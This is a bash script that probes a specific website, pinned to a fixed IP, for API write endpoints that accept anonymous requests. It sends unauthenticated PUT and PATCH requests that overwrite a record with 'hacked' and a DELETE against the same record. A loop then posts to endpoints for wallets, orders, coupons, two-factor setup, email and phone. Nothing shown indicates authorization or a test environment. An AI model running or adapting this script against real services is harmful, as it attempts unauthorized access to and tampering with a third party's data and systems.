#!/bin/bash
# anonymous write-endpoint probe: flag anything that is NOT the standard 401
R="--resolve www.fansky.net:443:139.162.100.99"
H1='-H Host:www.fansky.net -H Content-Type:application/json'
UA='-H User-Agent:Mozilla/5.0'
probe() {
  local method="$1" url="$2" body="$3"
  local code
  code=$(curl -s -k --max-time 15 $R -X "$method" "$url" $H1 $UA -d "$body" -o /tmp/r.txt -w '%{http_code}')
  local snip
  snip=$(head -c 130 /tmp/r.txt | tr '\n' ' ')
  echo "[$method] $code  $url  => $snip"
}
B='{"lookUpCode":"x","lookUpValueEn":"y"}'
# lookup-data family
probe POST  https://www.fansky.net/api/v1/lookup-data "$B"
probe PUT   https://www.fansky.net/api/v1/lookup-data/1 '{"lookUpValueEn":"hacked"}'
probe PATCH https://www.fansky.net/api/v1/lookup-data/1 '{"lookUpValueEn":"hacked"}'
probe DELETE https://www.fansky.net/api/v1/lookup-data/1 ''
# user/* collection POST (create-ish)
for p in cart creator-applications follows tickets wallet/topups coupons/claim chats/messages avatar email phone pt-payment-intents orders/regular orders/tipping orders/estimate orders/optimal-coupon-combination 2fa/setup 2fa/verify verify-email eventNotifications announcements membership-subscriptions creator-applications/acknowledge-rejection profile/dm-guidelines-acknowledgement; do
  probe POST "https://www.fansky.net/api/v1/user/$p" '{}'
done
